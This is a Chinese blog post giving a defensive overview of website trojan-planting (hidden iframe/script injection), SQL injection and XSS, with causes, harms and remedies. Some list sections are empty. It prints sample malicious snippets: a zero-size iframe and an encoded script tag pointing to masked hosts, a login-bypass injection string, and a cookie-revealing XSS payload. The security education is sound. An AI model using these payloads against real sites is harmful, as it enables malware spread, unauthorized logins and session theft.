Web安全前传

in 阅读 with 0 comment

随着各种网站如春笋般冒出,暗黑世界的各种力量也蠢蠢欲动。特别是"神兵利器"的各种普及,脚本小子们也大杀四方。所谓知彼知己,起码不要被人一锅端了,还不知道个所以然。先了解下几个常见的攻击种类,不要连简单的渗透测试工具都过不了,那就悲剧了。你要相信所有的输入都是不安全的,不可信任的。对于用户输入记得要转码或转义。关闭文件夹访问和非页面文件的下载及执行。网上整理了些攻击方式,做个备忘吧。

挂马攻击

挂马攻击是指攻击者在已经获得控制权的网站的网页中嵌入恶意代码(通常是通过IFrame、Script引用来实现),当用户访问该网页时,嵌入的恶意代码利用浏览器本身的漏洞、第三方ActiveX漏洞或者其它插件(如Flash、PDF插件等)漏洞,在用户不知情的情况下下载并执行恶意木马。

挂马方式

目前挂马的主要方式是通过IFrame与Script嵌入网马URL,比如下面的挂马代码:

<iframe src=http://www.cq***.com/Img/ width=0 height=0></iframe>

这里通过将IFrame的width与height设置为0,使得嵌入的网马URL在网页上不可见。

<script src=http://%68%68%6A%32***%63%6E></script>

这里Script里的URL是经过URL encode编码的。通过各种编码、混淆、客户端判断等方式来隐藏、保护网马是攻击者挂马常用的手段。
除了这两种常见的挂马方式外,还有如下几种:

挂马常见类型

常见的几种类型如下:

挂马危害

网站被挂马不仅严重影响到了网站的公众信誉度,还可能对访问该网站的用户计算机造成很大的破坏。一般情况下,攻击者挂马的目的只有一个:利益。如果用户访问被挂网站时,用户计算机就有可能被植入病毒,这些病毒会偷盗各类账号密码,如网银账户、游戏账号、邮箱账号、QQ及MSN账号等。植入的病毒还可能破坏用户的本地数据,从而给用户带来巨大的损失,甚至让用户计算机沦为僵尸网络中的一员。

网站被挂马的解决方案

对于网站被挂马,建议如下:

通过上面介绍的"挂马常见类型"迅速分析定位网站被挂马的原因。

  1. 数据库挂马:及时恢复数据库或者利用嵌入的挂马代码,搜索数据库,定位到挂马代码所在的字段值并清除。
  2. 文件挂马:使用工具或者命令遍历网站所有文本文件,批量清除挂马代码。
  3. ARP挂马:查找出局域网中的ARP病毒源头,清除病毒,并将相应计算机进行安全加固或重新安装系统。
  4. 服务端配置文件挂马:如果上述的方法找不到挂马代码时,就应该查找网站服务端配置文件是否存在异常,并恢复。
  5. XSS挂马:这类挂马使用不广泛,修补网站的XSS漏洞即可解决问题。
    及时检测并修补网站本身以及网站所在服务端环境的各类漏洞,从而在根源上降低消除网站被挂马的风险。

SQL注入攻击漏洞

SQL注入攻击(SQL Injection),简称注入攻击、SQL注入,是发生在应用程序的数据库层上的安全漏洞。在设计不良的程序当中,忽略了对输入字符串中夹带的SQL指令的检查,那么这些夹带进去的指令就会被数据库误认为是正常的SQL指令而运行,从而使数据库受到攻击,可能导致数据被窃取、更改、删除,以及进一步导致网站被嵌入恶意代码、被植入后门程序等危害。

SQL注入实例

某网站的登录页面如下:

用户登录表单

页面表单提交时,将用户名赋予变量v_user,将密码赋予变量v_pass。

假定该登录页面后台身份验证代码为:

“select * from user where user_name=’”
+ v_user +
“’ and password=’”
+ v_pass +
”’;”

如果输入:用户名:admin,密码:123456

则数据库执行的查询语句为:

select * from user where user_name=’admin’ and password=’123456’;

一切均正常。但如果用户恶意输入使得:

v_user=”admin”
v_pass=”1’ or ‘1’=’1”

此时认证SQL语句变成了:

select * from user where user_name=’admin’ and password=’1’ or ‘1’=’1’;

等同于语句:

select * from user where user_name=’admin’;

从而达到了无需密码,同样可登入网站的目的。

如果用户输入数据中包含其他update、 delete、 select等操作,则会导致数据库数据被修改、删除、和敏感内容泄密。

SQL注入位置

无论是内网环境还是外网环境(互联网),B/S架构的Web应用(以下指网站)都直接或者间接地受到各种类型的Web攻击的影响。对于后台数据库来说,以SQL注入攻击危害最为普遍,由于网站服务端语言自身的缺陷与程序员编写代码的安全意识不足,攻击者可以将恶意SQL语句注入到正常的数据库操作指令中去,从而使该恶意SQL语句在后台数据库中被解析执行。

在SQL注入攻击之前,首先要找到网站中各类与数据库形成交互的输入点。通常情况下,一个网站的输入点包括:

SQL注入危害

SQL注入的危害不仅体现在数据库层面上,还有可能危及承载数据库的操作系统;如果SQL注入被用来挂马,还可能用来传播恶意软件等,这些危害包括但不局限于:

SQL注入解决方案

解决SQL注入问题的关键是对所有可能来自用户输入的数据进行严格的检查、对数据库配置使用最小权限原则。
经常使用的方案有:

XSS攻击漏洞

跨站脚本攻击(Cross-site scripting,通常简称为XSS)发生在客户端,恶意的攻击者将对客户端有危害的代码放到服务器上作为一个网页内容,使得其他网站用户在观看此网页时,这些代码注入到了用户的浏览器中执行,使用户受到攻击。一般而言,利用跨站脚本攻击,攻击者可窃会话COOKIE从而窃取网站用户的隐私,包括密码。XSS攻击使用到的技术主要为HTML和JavaScript,也包括VBScript和ActionScript等。XSS攻击对WEB服务器虽无直接危害,但是它借助网站进行传播,使网站的使用用户受到攻击,导致网站用户帐号被窃取,从而对网站也产生了较严重的危害。

XSS实例

假如一个搜索引擎网站中存在跨站脚本漏洞,攻击者给查询参数q增加了恶意构造的值,跨站代码:

http://www.xxx.cn?q=<script>alert(document.cookie)</script>

如果服务端在返回的结果页面中,将用户提交的内容进行了原样的显示,那么访问这个链接时会弹出你的Cookie信息,例如:

<html>…<br />你查询的是:<script>alert(document.cookie)</script>…</html>

这儿跨站产生的原因是:链接中的跨站代码被写进客户端HTML代码中,从而引进了不安全的HTML标签(<script>)导致跨站脚本攻击。

XSS原理

攻击者通过网站的输入点嵌入非法的HTML标签与JavaScript脚本并执行以达到在客户端攻击的目的。攻击者注入的标签与脚本最终都要在客户端执行,攻击的过程实际上都在客户端的浏览器上发生的。
能在客户端进行跨站的不仅仅是HTML标签与JavaScript脚本,还包含一些其它的客户端应用,比如Flash里的ActionScript脚本也能辅助发起XSS攻击。
XSS攻击中WEB服务器没有过滤类似<script>标签字符串是导致XSS攻击得逞的最主要原因。

XSS类型

XSS类型包括:
1、非持久型跨站:即反射型跨站脚本漏洞,是目前最普遍的跨站类型。跨站代码一般存在于链接中,请求这样的链接时,跨站代码经过服务端反射回来,这类跨站的代码不存储到服务端(比如数据库中)。上面章节所举的例子就是这类情况。
2、持久型跨站:这是危害最直接的跨站类型,跨站代码存储于服务端(比如数据库中)。常见情况是某用户在论坛发贴,如果论坛没有过滤用户输入的JavaScript代码数据,就会导致其他浏览此贴的用户的浏览器会执行发贴人所嵌入的JavaScript代码。
3、DOM跨站(DOM XSS):是一种发生在客户端DOM(Document Object Model文档对象模型)中的跨站漏洞,很大原因是因为客户端脚本处理逻辑导致的安全问题。

XSS危害

XSS的危害包括但不限于:

XSS解决方案

常用的防止XSS技术包括:

不去还施彼身,那也要知彼之道吧,不去作恶,但也不能坐以待毙,网站被黑了,被拖库了可就不好玩了。

参考:

https://www.zhihu.com/question/21606800

https://segmentfault.com/a/1190000004585199

https://www.cnblogs.com/happyframework/p/3458966.html